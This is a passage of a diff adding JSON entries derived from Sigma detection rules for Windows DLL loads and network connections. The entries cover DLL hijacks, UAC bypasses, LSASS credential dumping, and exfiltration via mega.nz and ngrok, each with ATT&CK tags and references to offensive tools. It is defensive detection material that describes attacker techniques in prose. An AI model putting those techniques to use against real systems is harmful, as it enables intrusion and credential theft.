"2020/05/03", + "filename": "image_load_susp_python_image_load.yml", + "author": "Patrick St. John, OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate Py2Exe Binaries", + "Known false positive caused with Python Anaconda" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects CLR DLL being loaded by an scripting applications", + "uuid": "4508a70e-97ef-4300-b62b-ff27992990ea", + "value": "CLR DLL Loaded Via Scripting Applications", + "meta": { + "refs": [ + "https://github.com/tyranid/DotNetToJScript", + "https://thewover.github.io/Introducing-Donut/", + "https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_script_dotnet_clr_dll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2020/10/14", + "filename": "image_load_susp_script_dotnet_clr_dll_load.yml", + "author": "omkar72, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture.", + "uuid": "666ecfc7-229d-42b8-821e-1a8f8cb7057c", + "value": "Suspicious System.Drawing Load", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/16", + "https://threathunterplaybook.com/evals/apt29/detections/7.A.1_3B4E5808-3C71-406A-B181-17B0CE3178C9.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_system_drawing_load.yml" + ], + "tags": [ + "attack.collection", + "attack.t1113" + ], + "creation_date": "2020/05/02", + "filename": "image_load_susp_system_drawing_load.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz", + "uuid": "e32ce4f5-46c6-4c47-ba69-5de3c9193cd7", + "value": "Possible Process Hollowing Image Loading", + "meta": { + "refs": [ + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2018/01/07", + "filename": "image_load_susp_uncommon_image_load.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Very likely, needs more tuning" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the image load of VSS DLL by uncommon executables", + "uuid": "37774c23-25a1-4adb-bb6d-8bb9fd59c0f8", + "value": "Image Load of VSS Dll by Uncommon Executable", + "meta": { + "refs": [ + "https://github.com/ORCx41/DeleteShadowCopies", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_dll_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/10/31", + "filename": "image_load_susp_vss_dll_load.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the image load of vss_ps.dll by uncommon executables", + "uuid": "333cdbe8-27bb-4246-bf82-b41a0dca4b70", + "value": "Image Load of VSS_PS.dll by Uncommon Executable", + "meta": { + "refs": [ + "https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add", + "https://twitter.com/am0nsec/status/1412232114980982787", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_vss_ps_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.impact", + "attack.t1490" + ], + "creation_date": "2021/07/07", + "filename": "image_load_susp_vss_ps_load.yml", + "author": "Markus Neis, @markus_neis", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects DLL's Loaded Via Word Containing VBA Macros", + "uuid": "e6ce8457-68b1-485b-9bdd-3c2b5d679aa9", + "value": "VBA DLL Loaded Via Microsoft Word", + "meta": { + "refs": [ + "https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_winword_vbadll_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/02/19", + "filename": "image_load_susp_winword_vbadll_load.yml", + "author": "Antonlovesdnb", + "level": "high", + "falsepositive": [ + "Alerts on legitimate macro usage as well, will need to filter as appropriate" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\nAn attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\n", + "uuid": "602a1f13-c640-4d73-b053-be9a2fa58b77", + "value": "Svchost DLL Search Order Hijack", + "meta": { + "refs": [ + "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_svchost_dll_search_order_hijack.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1574.001" + ], + "creation_date": "2019/10/28", + "filename": "image_load_svchost_dll_search_order_hijack.yml", + "author": "SBousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool to tamper with Windows event logs", + "uuid": "49329257-089d-46e6-af37-4afce4290685", + "value": "SharpEvtMute EvtMuteHook Load", + "meta": { + "refs": [ + "https://github.com/bats3c/EvtMute", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_sysmon_disable_sharpevtmute.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/09/07", + "filename": "image_load_sysmon_disable_sharpevtmute.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other DLLs with that import hash" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.", + "uuid": "e76c8240-d68f-4773-8880-5c6f63595aaf", + "value": "Time Travel Debugging Utility Usage", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Tttracer/", + "https://twitter.com/mattifestation/status/1196390321783025666", + "https://twitter.com/oulusoyum/status/1191329746069655553", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_tttracer_mod_load.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.credential_access", + "attack.t1218", + "attack.t1003.001" + ], + "creation_date": "2020/10/06", + "filename": "image_load_tttracer_mod_load.yml", + "author": "Ensar \u015eamil, @sblmsrsn, @oscd_initiative", + "level": "high", + "falsepositive": [ + "Legitimate usage by software developers/testers" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects the \"iscsicpl.exe\" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%", + "uuid": "9ed5959a-c43c-4c59-84e3-d28628429456", + "value": "UAC Bypass Using Iscsicpl - ImageLoad", + "meta": { + "refs": [ + "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC", + "https://twitter.com/wdormann/status/1547583317410607110", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2022/07/17", + "filename": "image_load_uac_bypass_iscsicpl.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to load dismcore.dll after dropping it", + "uuid": "a5ea83a7-05a5-44c1-be2e-addccbbd8c03", + "value": "UAC Bypass With Fake DLL", + "meta": { + "refs": [ + "https://steemit.com/utopian-io/@ah101/uac-bypassing-utility", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml" + ], + "tags": [ + "attack.persistence", + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002", + "attack.t1574.002" + ], + "creation_date": "2020/10/06", + "filename": "image_load_uac_bypass_via_dism.yml", + "author": "oscd.community, Dmitry Uchakin", + "level": "high", + "falsepositive": [ + "Actions of a legitimate telnet client" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential use of UIPromptForCredentials functions by looking for some of the DLLs needed for it.", + "uuid": "9ae01559-cf7e-4f8e-8e14-4c290a1b4784", + "value": "UIPromptForCredentials DLLs", + "meta": { + "refs": [ + "https://securitydatasets.com/notebooks/small/windows/06_credential_access/SDWIN-201020013208.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.002/T1056.002.md#atomic-test-2---powershell---prompt-user-for-password", + "https://docs.microsoft.com/en-us/windows/win32/api/wincred/nf-wincred-creduipromptforcredentialsa", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uipromptforcreds_dlls.yml" + ], + "tags": [ + "attack.credential_access", + "attack.collection", + "attack.t1056.002" + ], + "creation_date": "2020/10/20", + "filename": "image_load_uipromptforcreds_dlls.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Other legitimate processes loading those DLLs in your environment." + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Loading unsigned image (DLL, EXE) into LSASS process", + "uuid": "857c8db3-c89b-42fb-882b-f681c7cf4da2", + "value": "Unsigned Image Loaded Into LSASS Process", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_unsigned_image_loaded_into_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/10/22", + "filename": "image_load_unsigned_image_loaded_into_lsass.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Valid user connecting using RDP" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances", + "uuid": "33a2d1dd-f3b0-40bd-8baf-7974468927cc", + "value": "APT PRIVATELOG Image Load Pattern", + "meta": { + "refs": [ + "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_usp_svchost_clfsw32.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/09/07", + "filename": "image_load_usp_svchost_clfsw32.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Rarely observed" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL", + "uuid": "9313dc13-d04c-46d8-af4a-a930cc55d93b", + "value": "VMware Xfer Loading DLL from Nondefault Path", + "meta": { + "refs": [ + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_vmware_xfer_load_dll_from_nondefault_path.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2022/08/02", + "filename": "image_load_vmware_xfer_load_dll_from_nondefault_path.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects threat actors proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (i.e js, vbs, etc).", + "uuid": "06ce37c2-61ab-4f05-9ff5-b1a96d18ae32", + "value": "WMIC Loading Scripting Libraries", + "meta": { + "refs": [ + "https://securitydatasets.com/notebooks/small/windows/05_defense_evasion/SDWIN-201017061100.html", + "https://twitter.com/dez_/status/986614411711442944", + "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remote_xsl_scripting_dlls.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1220" + ], + "creation_date": "2020/10/17", + "filename": "image_load_wmic_remote_xsl_scripting_dlls.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "The command wmic os get lastboottuptime loads vbscript.dll", + "The command wmic os get locale loads vbscript.dll", + "Since the ImageLoad event doesn't have enough information in this case. It's better to look at the recent process creation events that spawned the WMIC process and investigate the command line and parent/child processes to get more insights" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", + "uuid": "7707a579-e0d8-4886-a853-ce47e4575aaa", + "value": "Wmiprvse Wbemcomn DLL Hijack", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmiprvse_wbemcomn_dll_hijack.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.002" + ], + "creation_date": "2020/10/12", + "filename": "image_load_wmiprvse_wbemcomn_dll_hijack.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects non wmiprvse loading WMI modules", + "uuid": "671bb7e3-a020-4824-a00e-2ee5b55f385e", + "value": "WMI Modules Loaded", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190811201010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_module_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ], + "creation_date": "2019/08/10", + "filename": "image_load_wmi_module_load.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects WMI command line event consumers", + "uuid": "05936ce2-ee05-4dae-9d03-9a391cf2d2c6", + "value": "WMI Persistence - Command Line Event Consumer", + "meta": { + "refs": [ + "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmi_persistence_commandline_event_consumer.yml" + ], + "tags": [ + "attack.t1546.003", + "attack.persistence" + ], + "creation_date": "2018/03/07", + "filename": "image_load_wmi_persistence_commandline_event_consumer.yml", + "author": "Thomas Patzke", + "level": "high", + "falsepositive": [ + "Unknown (data set is too small; further testing needed)" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.", + "uuid": "ad1f4bb9-8dfb-4765-adb6-2a7cfb6c0f94", + "value": "Suspicious WSMAN Provider Image Loads", + "meta": { + "refs": [ + "https://twitter.com/chadtilbury/status/1275851297770610688", + "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", + "https://docs.microsoft.com/en-us/windows/win32/winrm/windows-remote-management-architecture", + "https://github.com/bohops/WSMan-WinRM", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2020/06/24", + "filename": "image_load_wsman_provider_image_load.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "image_load", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable in the Windows folder accessing github.com", + "uuid": "635dbb88-67b3-4b41-9ea5-a3af2dd88153", + "value": "Microsoft Binary Github Communication", + "meta": { + "refs": [ + "https://twitter.com/M_haggis/status/900741347035889665", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_github_com.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105", + "attack.exfiltration", + "attack.t1567.001" + ], + "creation_date": "2017/08/24", + "filename": "net_connection_win_binary_github_com.yml", + "author": "Michael Haag (idea), Florian Roth (rule)", + "level": "high", + "falsepositive": [ + "Unknown", + "@subTee in your network" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable in the Windows folder accessing suspicious domains", + "uuid": "e0f8ab85-0ac9-423b-a73a-81b3c7b1aa97", + "value": "Microsoft Binary Suspicious Communication Endpoint", + "meta": { + "refs": [ + "https://twitter.com/M_haggis/status/900741347035889665", + "https://twitter.com/M_haggis/status/1032799638213066752", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_binary_susp_com.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1105" + ], + "creation_date": "2018/08/30", + "filename": "net_connection_win_binary_susp_com.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a network connection intitiated by the certutil.exe tool. Attackers can abuse `certutil.exe` to download malware or offensive security tools.", + "uuid": "0dba975d-a193-4ed1-a067-424df57570d1", + "value": "Certutil Initiated Connection", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_certutil.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/09/02", + "filename": "net_connection_win_certutil.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate certutil network connection" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects process connections to a Monero crypto mining pool", + "uuid": "fa5b1358-b040-4403-9868-15f7d9ab6329", + "value": "Windows Crypto Mining Pool Connections", + "meta": { + "refs": [ + "https://www.poolwatch.io/coin/monero", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_crypto_mining.yml" + ], + "tags": [ + "attack.impact", + "attack.t1496" + ], + "creation_date": "2021/10/26", + "filename": "net_connection_win_crypto_mining.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of crypto miners" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.", + "uuid": "297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7", + "value": "Dead Drop Resolvers", + "meta": { + "refs": [ + "https://content.fireeye.com/apt-41/rpt-apt41", + "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", + "https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dead_drop_resolvers.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1102", + "attack.t1102.001" + ], + "creation_date": "2022/08/17", + "filename": "net_connection_win_dead_drop_resolvers.yml", + "author": "Sorina Ionescu", + "level": "high", + "falsepositive": [ + "One might need to exclude other internet browsers found in it's network or other applications like ones mentioned above from Microsoft Defender." + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects Dllhost that communicates with public IP addresses", + "uuid": "cfed2f44-16df-4bf3-833a-79405198b277", + "value": "Dllhost Internet Connection", + "meta": { + "refs": [ + "https://redcanary.com/blog/child-processes/", + "https://nasbench.medium.com/what-is-the-dllhost-exe-process-actually-running-ef9fe4c19c08", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dllhost_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218", + "attack.execution", + "attack.t1559.001" + ], + "creation_date": "2020/07/13", + "filename": "net_connection_win_dllhost_net_connections.yml", + "author": "bartblaze", + "level": "medium", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections from Equation Editor", + "uuid": "a66bc059-c370-472c-a0d7-f8fd1bf9d583", + "value": "Equation Editor Network Connection", + "meta": { + "refs": [ + "https://twitter.com/forensicitguy/status/1513538712986079238", + "https://news.sophos.com/en-us/2019/07/18/a-new-equation-editor-exploit-goes-commercial-as-maldoc-attacks-using-it-spike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_eqnedt.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203" + ], + "creation_date": "2022/04/14", + "filename": "net_connection_win_eqnedt.yml", + "author": "Max Altgelt", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292.\nYou will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.\n", + "uuid": "75e33ce3-ae32-4dcc-9aa8-a2a3029d6f84", + "value": "Excel Network Connections", + "meta": { + "refs": [ + "https://corelight.com/blog/detecting-cve-2021-42292", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_excel_outbound_network_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1203" + ], + "creation_date": "2021/11/10", + "filename": "net_connection_win_excel_outbound_network_connection.yml", + "author": "Christopher Peacock '@securepeacock', SCYTHE '@scythe_io', Florian Roth '@Neo23x0\", Tim Shelton", + "level": "medium", + "falsepositive": [ + "You may have to tune certain domains out that Excel may call out to, such as microsoft or other business use case domains.", + "Office documents commonly have templates that refer to external addresses, like sharepoint.ourcompany.com may have to be tuned.", + "It is highly recommended to baseline your activity and tune out common business use cases." + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections made by the \"hh.exe\" process, which could indicate the execution/download of remotely hosted .chm files", + "uuid": "468a8cea-2920-4909-a593-0cbe1d96674a", + "value": "HH.EXE Network Connections", + "meta": { + "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_hh.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ], + "creation_date": "2022/10/05", + "filename": "net_connection_win_hh.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Use IMEWDBLD.exe (built-in to windows) to download a file", + "uuid": "8d7e392e-9b28-49e1-831d-5949c6281228", + "value": "Download a File with IMEWDBLD.exe", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows---powershell-download", + "https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/01/22", + "filename": "net_connection_win_imewdbld.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Legitimate script" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases", + "uuid": "4b89abaa-99fe-4232-afdd-8f9aa4d20382", + "value": "Suspicious Typical Malware Back Connect Ports", + "meta": { + "refs": [ + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_malware_backconnect_ports.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1571" + ], + "creation_date": "2017/03/19", + "filename": "net_connection_win_malware_backconnect_ports.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable accessing mega.co.nz, which could be a sign of forbidden file sharing use of data exfiltration by malicious actors", + "uuid": "fdeebdf0-9f3f-4d08-84a6-4c4d13e39fe4", + "value": "Communication To Mega.nz", + "meta": { + "refs": [ + "https://megatools.megous.com/", + "https://www.mandiant.com/resources/russian-targeting-gov-business", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_mega_nz.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.001" + ], + "creation_date": "2021/12/06", + "filename": "net_connection_win_mega_nz.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of mega.nz uploaders and tools" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", + "uuid": "8e5e38e4-5350-4c0b-895a-e872ce0dd54f", + "value": "Msiexec Initiated Connection", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_msiexec.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.007" + ], + "creation_date": "2022/01/16", + "filename": "net_connection_win_msiexec.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate msiexec over networks" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable accessing ngrok.io, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "uuid": "18249279-932f-45e2-b37a-8925f2597670", + "value": "Communication To Ngrok.Io", + "meta": { + "refs": [ + "https://ngrok.com/", + "https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_io.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1567.001" + ], + "creation_date": "2022/07/16", + "filename": "net_connection_win_ngrok_io.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of ngrok.io" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors", + "uuid": "1d08ac94-400d-4469-a82f-daee9a908849", + "value": "Communication To Ngrok Tunneling Service", + "meta": { + "refs": [ + "https://twitter.com/hakluke/status/1587733971814977537/photo/1", + "https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.command_and_control", + "attack.t1567", + "attack.t1568.002", + "attack.t1572", + "attack.t1090", + "attack.t1102", + "attack.s0508" + ], + "creation_date": "2022/11/03", + "filename": "net_connection_win_ngrok_tunnel.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of ngrok" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious network connection by Notepad", + "uuid": "e81528db-fc02-45e8-8e98-4e84aba1f10b", + "value": "Notepad Making Network Connection", + "meta": { + "refs": [ + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1492186586.pdf", + "https://blog.cobaltstrike.com/2013/08/08/why-is-notepad-exe-connecting-to-the-internet/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_notepad_network_connection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.execution", + 